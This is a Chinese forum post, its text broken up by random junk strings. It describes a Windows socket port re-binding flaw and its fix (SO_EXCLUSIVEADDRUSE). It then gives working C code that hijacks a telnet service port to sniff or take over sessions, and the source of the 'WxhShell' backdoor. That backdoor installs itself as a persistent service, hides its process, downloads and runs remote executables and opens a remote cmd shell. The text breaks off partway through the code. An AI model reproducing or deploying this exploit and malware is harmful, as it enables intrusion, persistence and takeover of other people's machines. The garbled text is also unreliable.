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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: XMkRYI1~ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Me?I8:/ qwJp&6 saddr.sin_family = AF_INET; ] dJ"_ w:deQ:k saddr.sin_addr.s_addr = htonl(INADDR_ANY); Nb
!i_@m%s rFzj\%xa[ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); cAwqIihZ ~+t@7A= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 siCm)B ,lvG5B\0 这意味着什么?意味着可以进行如下的攻击: ercXw7{ n&P~<2^M# 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 b/R7Mk1 ovM;6o 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) n~\; +U -2[4 @ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <7rj,O1= D QxuV1 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 &ck}3\sQ f"j9C%'* 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Q
Kr/ EKF4] 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 T!y 9v5 F_R\ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 pKq[F*Lut u*=^>LD #include u=v-,Tw #include )LKJfoo
PY #include Y
?n4#J< #include |k*bWuXgLs DWORD WINAPI ClientThread(LPVOID lpParam); u1y>7,Z6W int main() YU[#4f~ { j_}:=3 WORD wVersionRequested; #9[> DWORD ret; Q[NoFZ
V! WSADATA wsaData; FA{Q6fi:2 BOOL val; 2>k*9kyp SOCKADDR_IN saddr; .4"BN<9 SOCKADDR_IN scaddr; Yu)GV7\2 int err; M_%KhK SOCKET s; }`QZV_ SOCKET sc; XtZd%
#2}, int caddsize; -o"b$[sf=Z HANDLE mt; F::Ki4{jJ DWORD tid; }1k?t h wVersionRequested = MAKEWORD( 2, 2 ); +<p&Va# err = WSAStartup( wVersionRequested, &wsaData ); Nb ~J'" if ( err != 0 ) { 8VQ!&^9!U# printf("error!WSAStartup failed!\n"); e
}C,) return -1; E+XS7':I } Q) aZ0 Pt saddr.sin_family = AF_INET; l"dXL"h ub>:dNBN //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )Z/w|5< /"A=Yf saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
*?1\S^7R saddr.sin_port = htons(23); EHf,VIC8 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wt9f2 { 0Mn|Yb4p printf("error!socket failed!\n"); Gchs$^1`t return -1; V1d#7rP } x!s=Nola
val = TRUE; [c1Gq)ht //SO_REUSEADDR选项就是可以实现端口重绑定的 =kwz3Wv if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %Ul,9qG+ { |H^v8^%>zm printf("error!setsockopt failed!\n"); /2=9i84 return -1; !'#
D~ } 7\g#'#K //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Y{dX[^[ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )XSHKPTQ1 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 pO)EYla9 L |#0CRiN if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) C"5P7F{ { .7Yox1, ret=GetLastError(); fATVAv printf("error!bind failed!\n"); ~QUNR?h return -1; Q
-$)
H;, } |LLpG37_ listen(s,2); PY '^:0 while(1) 5$:9nPAH { 0wTOdCvmb caddsize = sizeof(scaddr); 7>MG8pf3a //接受连接请求 =IX-n$d`> sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); p]y.N)a if(sc!=INVALID_SOCKET) 38X{>* { Xe:^<$z mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); eF7I5k4 if(mt==NULL) fH9"sBiO { 7>r[.g printf("Thread Creat Failed!\n"); w1zMY:9 break; Ug0c0z!b } ~-H3] } $E; Tj|W CloseHandle(mt); J1gnR } 8"d??3ZXJ closesocket(s); oVp/EQ WSACleanup(); G"(aoy,
co return 0; jFKp~`/# } YE*|KL^ DWORD WINAPI ClientThread(LPVOID lpParam) 1K|F;p { +CSv@ />3 SOCKET ss = (SOCKET)lpParam; M?('VOy) SOCKET sc; tD#) unsigned char buf[4096]; RiQg]3oY SOCKADDR_IN saddr; L|(U%$ long num; K3=0D!D q DWORD val; H*N{4zBB DWORD ret; 0cfGI% //如果是隐藏端口应用的话,可以在此处加一些判断 @aFk|.6 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Cq<Lj saddr.sin_family = AF_INET; .dxELSV saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #k d9} saddr.sin_port = htons(23); ;{R;lF, if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6pC1C. { Ke:EL;*8k printf("error!socket failed!\n"); PC255 return -1; Pq{p\Qkj } Gi@c`lRd1 val = 100; )OQ<H.X if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bV'r9&[_6 { n?D/bX p ret = GetLastError(); y#`;[! return -1; KMqGWO* } L"S2+F)n if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <RC %< { a[rb-Z ret = GetLastError(); 8vR'<_>Q return -1; #^aa&*<D_ } ~g#/q~UE if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <|G!Qn?2- { HSU?4=Q printf("error!socket connect failed!\n"); `@,Vbn^_ closesocket(sc); t"J{qfNs closesocket(ss); VhMVoW return -1; >X:!Y[N } GA[bo)" while(1) 9FNsW$b? { <u#
7K\: //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {0/2Hw n //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~FXq%-J //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 qJonzFp7 num = recv(ss,buf,4096,0); EASmB
if(num>0) _"t>72
`
send(sc,buf,num,0); $II~tO else if(num==0) )xz_}6b] break; EDnZ/)6Gg num = recv(sc,buf,4096,0); f4d-eXGwx` if(num>0) [C;Neslo send(ss,buf,num,0); L5|g\Y` else if(num==0) 8~RJnwF^ break; #D{Eq8dp } 4
540Lw'A closesocket(ss); suLC7x`Z closesocket(sc); O?A% return 0 ; yxf#@Je" } Lg#(?tMp,' s6_i> 3=Rk(%:; ========================================================== L?&&4%% tc\ZYCFr 下边附上一个代码,,WXhSHELL El
:%\hGy -F3~X R ========================================================== ocUBSK|K) Zp<#( OIu #include "stdafx.h" E:PPb9Kd xpwy%uo #include <stdio.h> eT(X Ri0 #include <string.h>
+`ov1h #include <windows.h> y>gw@+ #include <winsock2.h> +|5 O b #include <winsvc.h> ^L7!lzyo #include <urlmon.h> IJDbm}:/e 1cRF0MI #pragma comment (lib, "Ws2_32.lib") p
Tz]8[^ #pragma comment (lib, "urlmon.lib") >dD$GD{ 3/]FT#l]i #define MAX_USER 100 // 最大客户端连接数 gm!sLZ!X #define BUF_SOCK 200 // sock buffer $4)L~g| #define KEY_BUFF 255 // 输入 buffer X6qgApyE UTN[!0[
#define REBOOT 0 // 重启 87eH~&<1 #define SHUTDOWN 1 // 关机 y*US^HJOZ e-\/1N84 #define DEF_PORT 5000 // 监听端口 zfg+gd)Z N`N?1!fM<} #define REG_LEN 16 // 注册表键长度 :$PrlE #define SVC_LEN 80 // NT服务名长度 +o"CMI Tm7LaM // 从dll定义API d\JBjT1g typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7-~)/7L typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); IA]wO%c typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bw7g L\* typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {9x>@p/ V7p
hD3Y // wxhshell配置信息 )EKWsGNe/ struct WSCFG { pLV
%g#h int ws_port; // 监听端口 n4}e!
char ws_passstr[REG_LEN]; // 口令 s@y;b0$gk int ws_autoins; // 安装标记, 1=yes 0=no Hz==,NR-W char ws_regname[REG_LEN]; // 注册表键名 U[8F{LX char ws_svcname[REG_LEN]; // 服务名 NuUiW*|`7 char ws_svcdisp[SVC_LEN]; // 服务显示名 I;eoy, char ws_svcdesc[SVC_LEN]; // 服务描述信息 Oe
:S1 f char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r3-<~k- int ws_downexe; // 下载执行标记, 1=yes 0=no dG]B-(WTC char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" V`W '] char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [^6z> >7~*j4g }; $ Y^0l
kN8B, // default Wxhshell configuration e#mqerpJ struct WSCFG wscfg={DEF_PORT, t,*1=S5 "xuhuanlingzhe", 84WcaH 1, 'gg<)Bd "Wxhshell", kS9;Tj cx "Wxhshell", 8e,F{>N "WxhShell Service", SBs! 52 "Wrsky Windows CmdShell Service", q5'G]j{,Z "Please Input Your Password: ", y@1QVt04 1, d!Gy#<H " http://www.wrsky.com/wxhshell.exe", g;6/P2w "Wxhshell.exe" n ]D io }; CmBgay $e--"@[Y // 消息定义模块 '-[hy>t char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d
ePk}Sn char *msg_ws_prompt="\n\r? for help\n\r#>"; WWZ<[[ > char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; nLG)>L char *msg_ws_ext="\n\rExit."; _;Xlw{FN^ char *msg_ws_end="\n\rQuit."; ,Tegrz&G char *msg_ws_boot="\n\rReboot..."; Dc$q0|N=z char *msg_ws_poff="\n\rShutdown..."; Qzo -Yw`= char *msg_ws_down="\n\rSave to "; Dykh|" dzAumWoh char *msg_ws_err="\n\rErr!"; ge6S_" char *msg_ws_ok="\n\rOK!";
>3KlI 3\
Mt+!1{ char ExeFile[MAX_PATH]; {#,5C H') int nUser = 0; ]BjYUTNm HANDLE handles[MAX_USER]; .KC V|x;QW int OsIsNt; .
_|=Btoo CsycR @[ SERVICE_STATUS serviceStatus; A%F8w'8( SERVICE_STATUS_HANDLE hServiceStatusHandle; ,Ww}xmq1H a{^z= = // 函数声明 'PY; int Install(void); .FgeAxflP int Uninstall(void); &dmIv[LU int DownloadFile(char *sURL, SOCKET wsh); d v[.u{#tP int Boot(int flag); ht ]n* void HideProc(void); $hcv}<$/ int GetOsVer(void); 8Nyz{T[ int Wxhshell(SOCKET wsl); ]?D$n void TalkWithClient(void *cs); \ moLQ int CmdShell(SOCKET sock); V*Fy@ int StartFromService(void); 2)|=+DN; int StartWxhshell(LPSTR lpCmdLine); ]wEI*c( y] D\i5Xv VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); { >izfG,\ VOID WINAPI NTServiceHandler( DWORD fdwControl ); $p0D9mF __QnzEF // 数据结构和表定义 { >[ ]iX SERVICE_TABLE_ENTRY DispatchTable[] = Ua
6O~,\ { P[q>;Fx* {wscfg.ws_svcname, NTServiceMain}, Ea<\a1Tl43 {NULL, NULL} ~(XaXu }; H7&y79mB Zn
r4^i&( // 自我安装 &`n:AR` int Install(void) wdBBx\FP { +[uh);vD`G char svExeFile[MAX_PATH]; /]Y#*r8jRi HKEY key; yLfyLyO L strcpy(svExeFile,ExeFile); x/M$_E<G D3dh,&KO\ // 如果是win9x系统,修改注册表设为自启动 Lv/}&'\( if(!OsIsNt) { /N*<Fq7w~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RxJbQs$Ph RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KNQj U-A RegCloseKey(key); yy8BkG( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zNKB'hsK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4To$!= RegCloseKey(key); uIO,9> ee return 0; dazML|1ow } tyW[i8)O} } YB 7A5 } C}xfo}i else { #'%ii,;wQ >m1b/J3# // 如果是NT以上系统,安装为系统服务 w2'z~\dG8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y4p"LD5%^ if (schSCManager!=0) i7h^L)M { M=;csazN SC_HANDLE schService = CreateService F3!@|/<w ( t6KKfb schSCManager, 6-"tQ,AZ wscfg.ws_svcname, =#9#unvE! wscfg.ws_svcdisp, PZV>A!7C8n SERVICE_ALL_ACCESS, CStNCBZ|\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YiuV\al SERVICE_AUTO_START, |-\anby< SERVICE_ERROR_NORMAL, 2Q@na@s svExeFile, ,D`jlY-1l NULL, 9x4z m NULL, x<!]#**; NULL, -wC}JVVcK NULL, !L9|iC:8 NULL <$A/ (' ); v ,h"u if (schService!=0) ojBdUG\ { GR*sk#{ CloseServiceHandle(schService); )3e_Hs+ CloseServiceHandle(schSCManager); [Fag\/Y+ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ceks~[rP strcat(svExeFile,wscfg.ws_svcname); xu-bn if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { + XBF,<P RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I(BJ1 8F$ RegCloseKey(key); Fng return 0; [>p!*%m } $RI$VyAjD } 0~$9z+S CloseServiceHandle(schSCManager); v:74iB$i/C } /O.q4p } 6 A]a@,PC _IU5HT}2 return 1; #X*);cn } b}Im>n! )eZuG S // 自我卸载 { GCp5 int Uninstall(void) Q-R?y+| x { 5WfZd HKEY key; tuwlsBV p</t##]3ks if(!OsIsNt) { q$v0sTk0Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WixEnsJ RegDeleteValue(key,wscfg.ws_regname); *HV_$^)= RegCloseKey(key); Y~^R^J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dly -mPmP RegDeleteValue(key,wscfg.ws_regname);
X_Lt{mf RegCloseKey(key); 4<1V return 0; kl1Q: } #H Jlm1d } 0;`FS/[(f } mhU=^/X else { #H~$^L UjJ&P) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 751Qi if (schSCManager!=0) MoiRAO { /u]#dX5 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^o q|^O if (schService!=0) &l-d_dh { G^L9[c= , if(DeleteService(schService)!=0) { I=[0 9o CloseServiceHandle(schService); n?q+:P CloseServiceHandle(schSCManager); A
-8]4p:: return 0; rW O#h{ } %O[1yZh
\ CloseServiceHandle(schService); "[z/\l8O } n2c(x\DA& CloseServiceHandle(schSCManager); #
E8?2] } *j1Skd.#At } K'"s9b8 :TnU} i_/h return 1; >U4bK^/Bp } I~"l9Jc!" ~% ]V,-4 // 从指定url下载文件 TOqxl int DownloadFile(char *sURL, SOCKET wsh) @LU[po1I { yVPFH~1@\ HRESULT hr; trLxg H_Y char seps[]= "/"; 0&&P+adk char *token; v33[Rk' char *file; ?"}U?m= char myURL[MAX_PATH]; :G^4/A_ char myFILE[MAX_PATH]; FO]f 4@
P6v@
Sn strcpy(myURL,sURL); 3XbFg%8YG token=strtok(myURL,seps); DEfhR?v while(token!=NULL) !([ v=O# { Ia^/^> file=token; "4*QA0As token=strtok(NULL,seps); NY[48H } B(-F|q\ ^:O*Sx.CA GetCurrentDirectory(MAX_PATH,myFILE); DAMw( strcat(myFILE, "\\"); 6,R<8a;Wn strcat(myFILE, file); lL'K1%{+
\ send(wsh,myFILE,strlen(myFILE),0); j_zy"8Y{ send(wsh,"...",3,0); ]@}@G[e#[ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
"JYWsE if(hr==S_OK) 3VQmo\li return 0; EScy!p\* else R3BK\kf& return 1; ]InDcE q|
*nd!y' } %+
MYg^ ; Oz
p // 系统电源模块 "KY]2v. int Boot(int flag) D@iS#+22 { ;q<:iaY9 HANDLE hToken; 6HVGqx TOKEN_PRIVILEGES tkp; +k JQ\o[t if(OsIsNt) { ?Y$3R"p@3` OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xz/G$7q7 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 34vH+,!u tkp.PrivilegeCount = 1; Yd~Tzh tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &G+:t)|S AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Fi+,omB& if(flag==REBOOT) { D4+OWbf6 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QVR-`d/ return 0; mgEZiAV ? } DJ NM=v else { T!5g:;~y > if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X*:)]p(R return 0; _3_o/I } gHU0Pr9' } ZpU4"x> else { z#olKBs if(flag==REBOOT) { ,<CzS,( if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :UsNiR=l return 0; XZPq4(,9} } }j#c#''i else { `q1K%id if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mz .uK2l{ return 0; `"E<%$|ZQy } l8!n!sC[, } eZRu{`AF* If. hA} return 1; gMZ
` } -M?s<R[& uTUkRqtD! // win9x进程隐藏模块 +t;j5\HS void HideProc(void) R&s\h"=* { EWoGdH| ,7|2K &C5 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z4c{W~}` if ( hKernel != NULL ) kA<58,! { cH\.-5NQ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h{M.+I$}C ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^Zw1X6C5~ FreeLibrary(hKernel); -*C+z!?BP } tdB< FFqqAT5 return; H!dg(d^ } *H%Jgz, 4o*wLCo7^ // 获取操作系统版本 *H,vqs\}y int GetOsVer(void) `+Ojh>"*z* { iOzY8M+N( OSVERSIONINFO winfo; '}NQ`\k winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }zu?SZH GetVersionEx(&winfo); F2RU7o'f. if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qY$/i# return 1; u>o2lvy8 else .#y.:Pb|e return 0; \"@BZ.y } ht%:e?@i v-mhqhb // 客户端句柄模块 YYUWBnf30G int Wxhshell(SOCKET wsl) Fv"jKZPgzz { fPW(hb; SOCKET wsh; #^fDKM struct sockaddr_in client; \d#|n u DWORD myID; c31k%/. &}G2;O}3 while(nUser<MAX_USER) 4:p+C-gs { Wp<4F6C$@ int nSize=sizeof(client); NiQ_0Y} wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ec^x if(wsh==INVALID_SOCKET) return 1; yQxzFy 9,`eYAu handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xi2!__ if(handles[nUser]==0) ,f;YJHEx8 closesocket(wsh); HG/`5$L
+} else !!4` #Z0+# nUser++; fH/J8< } b+.P4+ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nDvj*lZF tGcp48R-:+ return 0; bZ.q?Hlfk } ,dM}B- t_PAXj // 关闭 socket }x^q?;7xW void CloseIt(SOCKET wsh) * 0GR
}k { YVMwb@| closesocket(wsh); wua`e <" nUser--; 8MH ZWi ExitThread(0); BuE=(v2} } e==}qQ 7r?s)ZV // 客户端请求句柄 al9L+ruR void TalkWithClient(void *cs) ;-:Nw6 E { n -P)X<\ #3l&N4/ SOCKET wsh=(SOCKET)cs; o+o'!) char pwd[SVC_LEN]; `J%iFm/5* char cmd[KEY_BUFF]; b'Scoa7@' char chr[1]; )c:i'L int i,j; [f9U9.fR l
cHqg while (nUser < MAX_USER) { [J'O5"T }i7Gv K<[: if(wscfg.ws_passstr) { 0(2r"Hi if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p<w2e //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,U\F<$O //ZeroMemory(pwd,KEY_BUFF); 3_:J`xX(4 i=0; C 'YL9r-G while(i<SVC_LEN) { &R\t<X9 n UE2!,Z, // 设置超时 SLyeonM-C fd_set FdRead; $wgHaSni struct timeval TimeOut; \^$g%a FD_ZERO(&FdRead); 6 XZF8W FD_SET(wsh,&FdRead); {s8v0~ TimeOut.tv_sec=8; }IM *Vsk TimeOut.tv_usec=0; Z%]s+V)st int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -RisZ-n* if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |~'PEY Ifghyh<d if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K"%_q$[YQ pwd =chr[0]; _O76Aw-@l if(chr[0]==0xd || chr[0]==0xa) { ;<j[0~qp: pwd=0; i(hI\hD break; n]?KDID; } {$,t^hd i++; ;}iV`)S } 8|5ttdZ O#j&8hQ> // 如果是非法用户,关闭 socket 1{TmK9U if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?<YQ
%qaW7 } JDTlzu1hR 4CUzp.S`h send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
eXN\w]GE send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N:"S/G>r ; ?AMn>v while(1) { N-
!>\n cPFs K*w ZeroMemory(cmd,KEY_BUFF); MLbmz\8a 4 f)B@A- // 自动支持客户端 telnet标准 }@Ap_xW j=0; `7v"( while(j<KEY_BUFF) { d) i:-#Q if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JDp"!x{O cmd[j]=chr[0]; .uo9VL< if(chr[0]==0xa || chr[0]==0xd) { 0Nvk|uI
V[ cmd[j]=0; Pv- i. break; ,~z*V;y) } 9L2]PU
v j++; <_o).hE{ } z(00"ei %5?Zjp+9 // 下载文件 2=\} 0 if(strstr(cmd,"http://")) { MmI[: send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3}Xf if(DownloadFile(cmd,wsh)) fJiY~mQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); v(|Arm? else 2LO8SJ# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
Gx&o3^ t } `(2Y%L(r else { DlMT<ld WQJnWe switch(cmd[0]) { -o+<m4he zwLJ|> // 帮助 >8v4fk
IK case '?': { {*BZ;Xh\8 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sz"N,-<Ig break; d~0k}|> } JZl"k // 安装 #YiphR& case 'i': { X[e:fW[e) if(Install()) ^\(<s send(wsh,msg_ws_err,strlen(msg_ws_err),0); HQy:,_f@ else prk@uYCa = send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rj'Tu0l break; "mtEjK5 } l_2B // 卸载 a'Vz|SG case 'r': { 85}S8\_u if(Uninstall()) }!`_Bz: send(wsh,msg_ws_err,strlen(msg_ws_err),0); k#oe:u`< else |7$Q'3V send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x+Ws lN2a break; P9W!xvV`w } Q?g#?z&Pu\ // 显示 wxhshell 所在路径 "Dt:
8Nf^ case 'p': { pXhN? joe char svExeFile[MAX_PATH]; 9OS~;9YR strcpy(svExeFile,"\n\r"); 59l9^<{A strcat(svExeFile,ExeFile); (g*mC7 HN send(wsh,svExeFile,strlen(svExeFile),0); v;WfcpWq2 break; r,r"?}Z } .',d*H))E7 // 重启 HOr.(gL! case 'b': { '44I}[cA/ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !^x;4@Ejm if(Boot(REBOOT)) O'~>AC5{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); M/abd 7q else { = e"RE/q2 closesocket(wsh); &-c{ ExitThread(0); qy( kb(J } sDZ<XA break; UfNcI[xr } q&nEodv>+ // 关机 cl{kCSZo.z case 'd': { r @URs;O= send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -d]v6q'1 if(Boot(SHUTDOWN)) @#>YU send(wsh,msg_ws_err,strlen(msg_ws_err),0); fAT+x1J\ else { 5M?
I-m closesocket(wsh); [NU@A >H ExitThread(0); zLSha\X } Ru~;awV? break; .)|2^ 'W } Jz@2?wSp // 获取shell Vwpy/5Hmp case 's': { q71V]! CmdShell(wsh); 3|
F\a|N closesocket(wsh); J] )gXVRM ExitThread(0); u):Nq<X break; k0IztFyj:R } vm.%)F#@ // 退出 r<1.'F case 'x': { Y?4N%c_; send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +EvY-mwfQ CloseIt(wsh); THcX.%ToT break; Z^t{m!v } 'EO"0, // 离开 :OD-L)Or case 'q': { ZJ%iiY send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,xg(F0q closesocket(wsh); s(r1q$5 WSACleanup(); 0[92&:c, exit(1); T1A/>\Ns break; O6b.oS'- } Y.#:l< } *d}{7UMy# } jP )VTk_ . sv
uXB // 提示信息 K}!YXy h if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^o[(F<q } I6Oc`S!L } _YA;Nd#%k Eikt, return; "64D.c(r$ } 3|vZ`} :Y[?@/m4 // shell模块句柄 t}2M8ue(& int CmdShell(SOCKET sock) Z#flu Q%V { Ta)6ly7' STARTUPINFO si; wQrD(Dv(yA ZeroMemory(&si,sizeof(si)); AxiCpAS;J si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +5ue)` si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x}jiHV@= PROCESS_INFORMATION ProcessInfo; Rqun}v} char cmdline[]="cmd"; %P`|kPW1 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4FcY NJq return 0; vU!<-T# } Vv.q{fRvYB 4/QQX;w // 自身启动模式 OYY_@'D int StartFromService(void) X m%aT { b)+;@wa~ typedef struct xi! R[xr1 { H
>1mi_1 DWORD ExitStatus; 8@BN6 DWORD PebBaseAddress; z1~FE DWORD AffinityMask; c7/fQc)h4d DWORD BasePriority; I.'sK9\Zp ULONG UniqueProcessId; ~n9- ULONG InheritedFromUniqueProcessId; hG>3y\!# } PROCESS_BASIC_INFORMATION; |3uE"\nfA XFcIBWS PROCNTQSIP NtQueryInformationProcess; a+p_47 xa : t6.J static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Iw;J7[hJ&$ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mx")cGGQ N0']t Gh2 HANDLE hProcess; 5:
